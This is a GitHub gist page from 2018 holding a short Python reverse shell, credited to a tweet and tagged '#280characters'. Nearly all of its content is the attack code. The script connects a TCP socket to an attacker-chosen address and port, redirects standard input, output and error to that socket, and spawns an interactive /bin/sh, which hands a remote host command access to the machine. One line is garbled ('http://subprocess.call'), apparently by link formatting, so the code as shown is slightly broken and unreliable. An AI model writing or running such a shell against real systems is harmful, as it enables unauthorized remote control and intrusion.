Created
May 11, 2018 15:01
-
-
Save darbym/9270bd34e001c97faf8e45de2daa4ee7 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# NO WARRANTY DON'T BE EVIL | |
# Source: https://twitter.com/UnaPibaGeek/status/929122646968754176 | |
import socket,subprocess,os | |
IP = '0.0.0.0' | |
PORT = 1337 | |
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
s.connect((IP,PORT)) | |
os.dup2(s.fileno(),0) | |
os.dup2(s.fileno(),1) | |
os.dup2(s.fileno(),2) | |
c = http://subprocess.call (["/bin/sh","-i"]) | |
Python reverse shell #280characters |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment